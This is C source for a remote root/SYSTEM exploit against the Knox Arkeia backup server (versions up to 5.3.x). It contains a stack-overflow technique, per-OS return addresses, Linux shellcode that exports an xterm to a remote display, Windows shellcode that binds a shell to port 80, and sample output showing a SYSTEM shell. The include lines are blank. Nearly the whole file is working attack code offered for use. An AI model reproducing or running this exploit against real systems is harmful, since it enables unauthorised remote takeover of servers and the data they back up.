/* * Knox Arkiea Server Backup * arkiead local/remote root exploit * Targets for Redhat 7.2/8.0, Win2k SP2/SP3/SP4, WinXP SP1, Win 2003 EE * Works up to current version 5.3.x * * --------------- * * Linux x86: * ./arksink2 * * Exports an xterm to the box of your choosing. Make sure to "xhost +" on * the box you're exporting to. * * A stack overflow is in the processing of a type 77 request. EIP is actually * overwritten at 64 bytes, but the trailing NULL scrambled a pointer so we * have to write past EIP and insert a "safe" value. Put this value behind your * NOP+sc return address so it doesn't mess with the sled. * * Since the buffer is so small, we initially send an invalid packet that ends * up on the heap a second before the overflow happens. If it is a high traffic * Arkeia server the heap might be a bit volatile, so play around with putting * nops+sc after the overwritten pointer. The heap method avoids non-exec stack * protection, however. * * Includes targets for RH8 and RH7.2 * * [user@host user]$ ./prog 192.168.1.2 1 192.168.1.1:0 * [*] Knox Arkeia <= v5.3.x remote root/SYSTEM exploit * [*] Attacking LINUX system * [*] Exporting xterm to 192.168.1.1:0 * [*] Connected to 192.168.1.2:617 NOP+shellcode socket * [*] Connected to 192.168.1.2:617 overflow socket * [*] Sending nops+shellcode * [*] Done, sleeping * [*] Done, check for xterm * * * --------------- * * Windows x86: * ./prog * * Spawns a shell on port 80 of the remote host * * EIP is overwritten beginning with the 25th byte after the header. Since Windows * is little endian and has the heap mapped to 0x00XXXXXX we can avoid having to * write an extra null past EIP. Another advantage here is that we can put all our * nops and shellcode in the same packet, but after the NULL. They will not be copied * onto the stack (and therefore not munge the pointer after it) but will remain * in memory as a raw packet. Fire up ollydbg, search for your nops and voila. * * [user@host user]$ ./arksink2 192.168.1.2 3 0 * [*] Knox Arkeia <= v5.3.x remote SYSTEM exploit * [*] Attacking Windows system * [*] Spawning shell on 192.168.1.2:80 * [*] Connected to 192.168.1.2:617 overflow socket * [*] Sending overflow * [*] Attempting to get remote shell, try #0 * [!] connect: Resolver Error 0 (no error) * [*] Attempting to get remote shell, try #1 * [!] connect: Resolver Error 0 (no error) * [*] Attempting to get remote shell, try #2 * [!] connect: Resolver Error 0 (no error) * [*] Attempting to get remote shell, try #3 * [!] connect: Resolver Error 0 (no error) * [*] Attempting to get remote shell, try #4 * [*] Success, enjoy * Microsoft Windows 2000 [Version 5.00.2195] * (C) Copyright 1985-2000 Microsoft Corp. * * C:\WINNT\system32>whoami * whoami * SYSTEM * * C:\WINNT\system32> * * * --------------- * */ #include #include #include #include #include #include #include #include #include #define BUFLEN 10000 /* for readshell() */ #define DATA_LEN 1000 /* overflow packet data section */ #define HEAD_LEN 8 /* overflow packet header */ #define NOP_LEN 20000 /* nop+shellcode packet */ #define ARK_PORT 617 /* port Arkeiad listens on */ #define SHELL_PORT 80 /* for the windows shellcode */ #define NOP 0x90 /* Intel x86 */ #define NUMTARGS 5 /* increase when adding targets */ #define LINUX 1 /* Linux target type */ #define WINDOWS 2 /* Windows target type */ struct { char *os; unsigned int targret; unsigned int targsafe; unsigned int len; int targtype; } targets[] = { { "Redhat 8.0", 0x80ecf90, 0x080e0144, 68, LINUX }, { "Redhat 7.2", 0x80eddc0, 0x080eb940, 68, LINUX }, { "Windows 2k SP2, SP3, SP4", 0x007d2144, 0xdeadbeef, 28, WINDOWS }, { "Windows 2003 EE", 0x007b2178, 0xdeadbeef, 28, WINDOWS }, { "Windows XP SP1", 0x007d20e7, 0xdeadbeef, 28, WINDOWS }, NULL }; // Linux shellcode exports xterm const char shellcode[] = "\xeb\x4f\x5e\x31\xd2\x88\x56\x14\x88\x56\x18\x88\x56\x21\xb2\x2b" "\x31\xc9\xb1\x09\x80\x3c\x32\x4b\x74\x05\x42\xe2\xf7\xeb\x2b\x88" "\x34\x32\x31\xd2\x89\xf3\x89\x76\x36\x8d\x7e\x15\x89\x7e\x3a\x8d" "\x7e\x19\x89\x7e\x3e\x8d\x7e\x22\x89\x7e\x42\x89\x56\x46\x8d\x4e" "\x36\x8d\x56\x46\x31\xc0\xb0\x0b\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xac\xff\xff\xff" "/usr/X11R6/bin/xterm8-ut8-display8"; // Windows shellcode binds shell to port 80 const char shellcode_win[] = "\xeb\x19\x5e\x31\xc9\x81\xe9\x89\xff" "\xff\xff\x81\x36\x80\xbf\x32\x94\x81\xee\xfc\xff\xff\xff\xe2\xf2" "\xeb\x05\xe8\xe2\xff\xff\xff\x03\x53\x06\x1f\x74\x57\x75\x95\x80" "\xbf\xbb\x92\x7f\x89\x5a\x1a\xce\xb1\xde\x7c\xe1\xbe\x32\x94\x09" "\xf9\x3a\x6b\xb6\xd7\x9f\x4d\x85\x71\xda\xc6\x81\xbf\x32\x1d\xc6" "\xb3\x5a\xf8\xec\xbf\x32\xfc\xb3\x8d\x1c\xf0\xe8\xc8\x41\xa6\xdf" "\xeb\xcd\xc2\x88\x36\x74\x90\x7f\x89\x5a\xe6\x7e\x0c\x24\x7c\xad" "\xbe\x32\x94\x09\xf9\x22\x6b\xb6\xd7\x4c\x4c\x62\xcc\xda\x8a\x81" "\xbf\x32\x1d\xc6\xab\xcd\xe2\x84\xd7\xf9\x79\x7c\x84\xda\x9a\x81" "\xbf\x32\x1d\xc6\xa7\xcd\xe2\x84\xd7\xeb\x9d\x75\x12\xda\x6a\x80" "\xbf\x32\x1d\xc6\xa3\xcd\xe2\x84\xd7\x96\x8e\xf0\x78\xda\x7a\x80" "\xbf\x32\x1d\xc6\x9f\xcd\xe2\x84\xd7\x96\x39\xae\x56\xda\x4a\x80" "\xbf\x32\x1d\xc6\x9b\xcd\xe2\x84\xd7\xd7\xdd\x06\xf6\xda\x5a\x80" "\xbf\x32\x1d\xc6\x97\xcd\xe2\x84\xd7\xd5\xed\x46\xc6\xda\x2a\x80" "\xbf\x32\x1d\xc6\x93\x01\x6b\x01\x53\xa2\x95\x80\xbf\x66\xfc\x81" "\xbe\x32\x94\x7f\xe9\x2a\xc4\xd0\xef\x62\xd4\xd0\xff\x62\x6b\xd6" "\xa3\xb9\x4c\xd7\xe8\x5a\x96\x80\xbf\x62\x1f\x4c\xd5\x24\xc5\xd3" "\x40\x64\xb4\xd7\xec\xcd\xc2\xa4\xe8\x63\xc7\x7f\xe9\x1a\x1f\x50" "\xd7\x57\xec\xe5\xbf\x5a\xf7\xed\xdb\x1c\x1d\xe6\x8f\xb1\x78\xd4" "\x32\x0e\xb0\xb3\x7f\x01\x5d\x03\x7e\x27\x3f\x62\x42\xf4\xd0\xa4" "\xaf\x76\x6a\xc4\x9b\x0f\x1d\xd4\x9b\x7a\x1d\xd4\x9b\x7e\x1d\xd4" "\x9b\x62\x19\xc4\x9b\x22\xc0\xd0\xee\x63\xc5\xea\xbe\x63\xc5\x7f" "\xc9\x02\xc5\x7f\xe9\x22\x1f\x4c\xd5\xcd\x6b\xb1\x40\x64\x98\x0b" "\x77\x65\x6b\xd6\x93\xcd\xc2\x94\xea\x64\xf0\x21\x8f\x32\x94\x80" "\x3a\xf2\xec\x8c\x34\x72\x98\x0b\xcf\x2e\x39\x0b\xd7\x3a\x7f\x89" "\x34\x72\xa0\x0b\x17\x8a\x94\x80\xbf\xb9\x51\xde\xe2\xf0\x90\x80" "\xec\x67\xc2\xd7\x34\x5e\xb0\x98\x34\x77\xa8\x0b\xeb\x37\xec\x83" "\x6a\xb9\xde\x98\x34\x68\xb4\x83\x62\xd1\xa6\xc9\x34\x06\x1f\x83" "\x4a\x01\x6b\x7c\x8c\xf2\x38\xba\x7b\x46\x93\x41\x70\x3f\x97\x78" "\x54\xc0\xaf\xfc\x9b\x26\xe1\x61\x34\x68\xb0\x83\x62\x54\x1f\x8c" "\xf4\xb9\xce\x9c\xbc\xef\x1f\x84\x34\x31\x51\x6b\xbd\x01\x54\x0b" "\x6a\x6d\xca\xdd\xe4\xf0\x90\x80\x2b\xa2\x04"; unsigned int resolve(char *hostname) { u_long ip = 0; struct hostent *hoste; if ((int)(ip = inet_addr(hostname)) == -1) { if ((hoste = gethostbyname(hostname)) == NULL) { herror("[!] gethostbyname"); exit(-1); } memcpy(&ip, hoste->h_addr, hoste->h_length); } return(ip); } int isock(char *hostname, int portnum) { struct sockaddr_in sock_a; int num, sock; unsigned int ip; fd_set input; sock_a.sin_family = AF_INET; sock_a.sin_port = htons(portnum); sock_a.sin_addr.s_addr = resolve(hostname); if ((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) { herror("[!] accept"); return(-1); } if (connect(sock, (struct sockaddr *)&sock_a, sizeof(sock_a))) { herror("[!] connect"); return(-1); } return(sock); } int usage(char *progname) { int i; fprintf(stderr, "Usage:\n%s hostname target_num display (attacking Linux)\n", progname); fprintf(stderr, "%s hostname target_num offset (attacking Windows)\n", progname); for (i = 0; targets[i].os; i++) fprintf(stderr, "Target %d: %s\n", i+1, targets[i].os); fprintf(stderr, "Example: %s 192.168.1.2 1 192.168.1.1:0\n", progname); exit(-1); } int getshell(int sock) { char buf[BUFLEN]; int nread=0; while(1) { fd_set input; FD_SET(0,&input); FD_SET(sock,&input); select(sock+1,&input,NULL,NULL,NULL); if(FD_ISSET(sock,&input)) { nread=read(sock,buf,BUFLEN); write(1,buf,nread); } if(FD_ISSET(0,&input)) write(sock,buf,read(0,buf,BUFLEN)); } } int lin(char *host, char *export, unsigned int tnum) { char head[] = "\x00\x4d\x00\x03\x00\x01\xff\xff"; char data[DATA_LEN]; char sc_req[NOP_LEN*2]; char *sc; unsigned int retaddr; unsigned int safe; int datalen = 0; int port = ARK_PORT; int sock_overflow, sock_nops; int i; int nullmap = 0; sock_overflow = sock_nops = 0; retaddr = targets[tnum].targret; safe = targets[tnum].targsafe; datalen = targets[tnum].len; sock_nops = isock(host, port); if (sock_nops < 1) exit(-1); fprintf(stderr, "[*] Connected to %s:%d NOP+shellcode socket\n", host, port); sock_overflow = isock(host, port); if (sock_overflow < 1) exit(-1); fprintf(stderr, "[*] Connected to %s:%d overflow socket\n", host, port); // build data section of overflow packet memset(data, NOP, DATA_LEN); // copy in return address memcpy(data+datalen - 8, (char *)&retaddr, 4); // we overwrite a pointer that must be a valid address memcpy(data+datalen-4, (char *)&safe, 4); datalen = ntohs(datalen); memcpy(head+6, (char *)&datalen, 2); // build invalid packet with nops+shellcode memset(sc_req, NOP, NOP_LEN+1); sc = (char *)malloc(strlen(shellcode) + strlen(export) + 2); sprintf(sc, "%s%s%s", shellcode, export, "K"); if (strlen(sc) + NOP_LEN > NOP_LEN*2-1) { fprintf(stderr, "[!] display name too long\n"); exit(-1); } memcpy(sc_req+NOP_LEN, sc, strlen(sc)); // send invalid nop+shellcode packet fprintf(stderr, "[*] Sending nops+shellcode\n"); write(sock_nops, sc_req, NOP_LEN+strlen(sc)+1); fprintf(stderr, "[*] Done, sleeping\n"); sleep(1); close(sock_nops); // send overflow, pointing EIP to above nops+sc write(sock_overflow, head, HEAD_LEN); // 8 byte header datalen = ntohs(datalen); fprintf(stderr, "[*] Sending overflow\n"); write(sock_overflow, data, datalen); // small overflow packet fprintf(stderr, "[*] Done, check for xterm\n"); close(sock_overflow); } void windows (char *host, int tnum, int offset) { char head[] = "\x00\x4d\x00\x03\x00\x01\xff\xff"; char data[DATA_LEN]; char sc_req[NOP_LEN*2]; char *sc; char *export; unsigned int ret; unsigned int safeaddr; int overflow_len; int datasiz = DATA_LEN; int datalen = 0; int port = ARK_PORT; int sock_overflow, sock_nops, sock_shell; int i; datalen = targets[tnum].len; ret = targets[tnum].targret + offset; sock_overflow = isock(host, port); if (sock_overflow < 1) exit(-1); fprintf(stderr, "[*] Connected to %s:%d overflow socket\n", host, port); // build data section of overflow packet memset(data, NOP, DATA_LEN); memcpy(data+datalen - 4, (char *)&ret, 4); memcpy(data+DATA_LEN-strlen(shellcode_win)-1, shellcode_win, strlen(shellcode_win)); // put size into header datasiz = ntohs(datasiz); memcpy(head+6, (char *)&datasiz, 2); fprintf(stderr, "[*] Sending overflow\n"); write(sock_overflow, head, HEAD_LEN); // 8 byte header write(sock_overflow, data, DATA_LEN); // large data section close(sock_overflow); for (i = 0; i < 20; i++) { sleep(1); fprintf(stderr, "[*] Attempting to get remote shell, try #%d\n", i); // connect to shell sock_shell = isock(host, SHELL_PORT); if (sock_shell > 0) { fprintf(stderr, "[*] Success, enjoy\n"); getshell(sock_shell); } } fprintf(stderr, "[!] Exploit failed or cannot connect to port 80\n"); exit(-1); } int main( int argc, char **argv) { /* first 2 bytes are a type 77 request */ /* last two bytes length */ char *host; char *export; unsigned int tnum; int datalen = 0; int offset = 0; if (argc == 4) { host = argv[1]; tnum = atoi(argv[2]); if (targets[tnum].targtype == LINUX) export = argv[3]; else offset=atoi(argv[3]); if (tnum > NUMTARGS || tnum == 0) { fprintf(stderr, "[!] Invalid target\n"); usage(argv[0]); } } else { usage(argv[0]); } tnum--; fprintf(stderr, "[*] Knox Arkeia <= v5.3.x remote root/SYSTEM exploit\n"); fprintf(stderr, "[*] Attacking %s system\n", targets[tnum].os); if (targets[tnum].targtype == LINUX ) { fprintf(stderr, "[*] Exporting xterm to %s\n", export); lin(host, export, tnum); } else if (targets[tnum].targtype == WINDOWS) { fprintf(stderr, "[*] Spawning shell on %s:%d\n", host, SHELL_PORT); windows(host, tnum, offset); } else { fprintf(stderr, "[!] Unknown target type: %d\n", targets[tnum].targtype); exit(-1); } }